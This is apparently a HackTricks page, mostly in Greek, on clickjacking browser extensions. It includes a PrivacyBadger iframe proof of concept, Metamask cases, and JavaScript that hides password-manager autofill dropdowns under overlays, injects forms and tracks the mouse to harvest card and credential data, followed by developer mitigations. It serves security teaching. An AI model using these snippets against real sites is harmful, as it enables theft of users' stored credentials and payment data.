BrowExt - ClickJacking

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Αυτή η σελίδα πρόκειται να εκμεταλλευτεί μια ευπάθεια ClickJacking σε μια επέκταση του browser.
If you don't know what ClickJacking is check:

Clickjacking

Οι επεκτάσεις περιέχουν το αρχείο manifest.json και αυτό το JSON αρχείο έχει ένα πεδίο web_accessible_resources. Να τι λένε the Chrome docs σχετικά με αυτό:

Αυτοί οι πόροι θα ήταν τότε διαθέσιμοι σε μια ιστοσελίδα μέσω του URL chrome-extension://[PACKAGE ID]/[PATH], το οποίο μπορεί να παραχθεί με την extension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1

Τα web_accessible_resources σε μια επέκταση του browser δεν είναι απλώς προσβάσιμα μέσω του web· λειτουργούν επίσης με τα εγγενή προνόμια της επέκτασης. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:

  • Αλλάξουν την κατάσταση της επέκτασης
  • Φορτώσουν πρόσθετους πόρους
  • Αλληλεπιδράσουν με τον browser σε κάποιο βαθμό

Ωστόσο, αυτή η δυνατότητα αποτελεί κίνδυνο ασφαλείας. Εάν ένας πόρος μέσα στα web_accessible_resources έχει κάποια σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Χρήστες που δεν υποψιάζονται, επισκεπτόμενοι αυτή την ιστοσελίδα, μπορεί κατά λάθος να ενεργοποιήσουν αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση μπορεί να οδηγήσει σε ανεπιθύμητες συνέπειες, ανάλογα με τα δικαιώματα και τις δυνατότητες των πόρων της επέκτασης.

PrivacyBadger Example

In the extension PrivacyBadger, a vulnerability was identified related to the skin/ directory being declared as web_accessible_resources in the following manner (Check the original blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Αυτή η διαμόρφωση οδήγησε σε ένα πιθανό ζήτημα ασφαλείας. Συγκεκριμένα, το αρχείο skin/popup.html, το οποίο αποδίδεται κατά την αλληλεπίδραση με το εικονίδιο του PrivacyBadger στο πρόγραμμα περιήγησης, θα μπορούσε να ενσωματωθεί μέσα σε ένα iframe. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να ξεγελάσει τους χρήστες ώστε να κάνουν κατά λάθος κλικ στο "Disable PrivacyBadger for this Website". Μια τέτοια ενέργεια θα έθετε σε κίνδυνο το απόρρητο του χρήστη, απενεργοποιώντας την προστασία του PrivacyBadger και πιθανόν εκθέτοντας τον σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτού του exploit μπορεί να προβληθεί σε ένα ClickJacking βίντεο παράδειγμα που παρέχεται στο https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του /skin/* από τη λίστα των web_accessible_resources. Αυτή η αλλαγή μείωσε αποτελεσματικά τον κίνδυνο, διασφαλίζοντας ότι το περιεχόμενο του καταλόγου skin/ δεν μπορούσε να προσεγγιστεί ή να χειραγωγηθεί μέσω web-accessible resources.

Η διόρθωση ήταν απλή: remove /skin/* from the web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Παράδειγμα

Ένα blog post about a ClickJacking in Metamask can be found here. Σε αυτή την περίπτωση, Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβαση ήταν https: ή http: (όχι chrome: για παράδειγμα):

Another ClickJacking fixed στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να Click to whitelist όταν μια σελίδα ήταν ύποπτη για phishing εξαιτίας του “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Εφόσον αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας attacker μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το victim να κάνει κλικ για whitelist χωρίς να το προσέξει, και μετά να επιστρέψει στη σελίδα phishing που θα ήταν πλέον whitelisted.

Steam Inventory Helper Παράδειγμα

Ελέγξτε την παρακάτω σελίδα για να δείτε πώς ένα XSS σε μια browser extension συνδέθηκε με μια ευπάθεια ClickJacking:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Οι κλασικές extension clickjacking επιθέσεις εκμεταλλεύονται λανθασμένα ρυθμισμένα web_accessible_resources για να iframe-άρουν privileged HTML και να κινούν τα κλικ των χρηστών. Μια νεότερη κατηγορία, DOM-based extension clickjacking, στοχεύει τα autofill dropdowns που εισάγονται από password managers απευθείας στο DOM της σελίδας και χρησιμοποιεί CSS/DOM κόλπα για να τα κρύψει ή να τα επικαλύψει ενώ τα κρατάει clickable. Ένα εξαναγκασμένο κλικ μπορεί να επιλέξει ένα αποθηκευμένο item και να γεμίσει attacker-controlled inputs με ευαίσθητα δεδομένα.

Μοντέλο απειλής

  • Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
  • Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
  • At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).

Ροή επίθεσης (manual autofill)

  1. Εισάγετε μια αόρατη αλλά focusable φόρμα (login/PII/credit-card fields).
  2. Εστιάστε ένα input για να εμφανιστεί το extension’s autofill dropdown κοντά στο πεδίο.
  3. Κρύψτε ή επικαλύψτε το extension UI ενώ το κρατάτε interactable.
  4. Στοιχίστε ένα πειστικό control κάτω από το κρυφό dropdown για να εξαναγκάσετε ένα κλικ που θα επιλέξει ένα item.
  5. Διαβάστε τις συμπληρωμένες τιμές από τη φόρμα του attacker και exfiltrate.

Πώς να κρύψετε το autofill UI

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Παιδί μέσα σε open ShadowRoot (δυναμική ετικέτα, απόκρυψη εσωτερικού iframe):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Γονικό στοιχείο
  • BODY/HTML τεχνικές αδιαφάνειας για να κάνουν το extension UI αόρατο ενώ η σελίδα φαίνεται κανονική (π.χ. φόντο screenshot):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Partial overlay: αποκρύψτε τα πάντα εκτός από λίγα πίξελ ώστε το dropdown να παραμένει δυνατό προς κλικ (βεβαιωθείτε ότι attacker overlay είναι τελευταίο στο DOM με max z-index, ή χρησιμοποιήστε Top Layer).
  • Full overlay χρησιμοποιώντας pointer-events:none ώστε τα κλικ να περνούν στο κρυφό dropdown; διατηρήστε το επίμονο με το Popover API:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Τοποθέτηση του κλικ του θύματος

  • Σταθερή τοποθέτηση: τοποθετήστε το κρυφό dropdown κάτω από ένα πιστευτό στοιχείο ελέγχου όπως “Αποδοχή cookies”, “Κλείσιμο” ή το κουτάκι του CAPTCHA.
  • Ακολούθηση ποντικιού: μετακινήστε το εστιασμένο πεδίο εισαγωγής κάτω από τον κέρσορα ώστε το dropdown να το ακολουθεί; επανεστίαστε περιοδικά ώστε ένα μόνο κλικ οπουδήποτε να επιλέγει ένα στοιχείο:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Επίπτωση και σενάρια

  • Ιστότοπος που ελέγχεται από επιτιθέμενο: ένα εξαναγκασμένο κλικ μπορεί να αποσπάσει δεδομένα πιστωτικής κάρτας (αριθμός/λήξη/CVC) και προσωπικές πληροφορίες (όνομα, email, τηλέφωνο, διεύθυνση, DOB) που δεν είναι περιορισμένες στο domain.
  • Έμπιστος ιστότοπος με XSS/subdomain takeover/cache poisoning: κλοπή διαπιστευτηρίων με πολλαπλά κλικ (username/password) και TOTP, επειδή πολλοί managers κάνουν autofill σε σχετικούς υποτομείς/κύριους τομείς (π.χ., *.example.com).
  • Passkeys: αν το RP δεν δεσμεύει τα WebAuthn challenges στη συνεδρία, XSS μπορεί να υποκλέψει την υπογεγραμμένη δήλωση· το DOM-based clickjacking αποκρύπτει το prompt του passkey για να προκαλέσει το επιβεβαιωτικό κλικ του χρήστη.

Περιορισμοί

  • Απαιτεί τουλάχιστον ένα κλικ του χρήστη και καλή στοίχιση pixels (ρεαλιστικές επικαλύψεις διευκολύνουν την πρόκληση κλικ).
  • Το αυτόματο κλείδωμα/αποσύνδεση μειώνει τα παράθυρα εκμετάλλευσης· μερικοί managers εξακολουθούν να κάνουν autofill ενώ είναι “locked”.

Μέτρα για προγραμματιστές επεκτάσεων

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Αντιστέκεστε στην παραποίηση CSS: προτιμήστε Closed Shadow DOM και παρακολουθείστε με MutationObserver για ύποπτες αλλαγές στυλ στις ρίζες του UI.
  • Εντοπίστε εχθρικά overlays πριν τη συμπλήρωση: απαριθμήστε άλλα top-layer/popover στοιχεία, προσωρινά απενεργοποιήστε pointer-events:none, και χρησιμοποιήστε elementsFromPoint() για να ανιχνεύσετε απόφραξη· κλείστε το UI αν υπάρχουν overlays.
  • Ανιχνεύστε ύποπτες αλλαγές opacity ή στυλ του <body>/<html> τόσο πριν όσο και μετά το render.
  • Για ζητήματα με iframe: περιορίστε στενά τα MV3 web_accessible_resources matches και αποφύγετε την έκθεση HTML UIs· για αναπόφευκτα HTML, σερβίρετε X-Frame-Options: DENY ή Content-Security-Policy: frame-ancestors 'none'.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks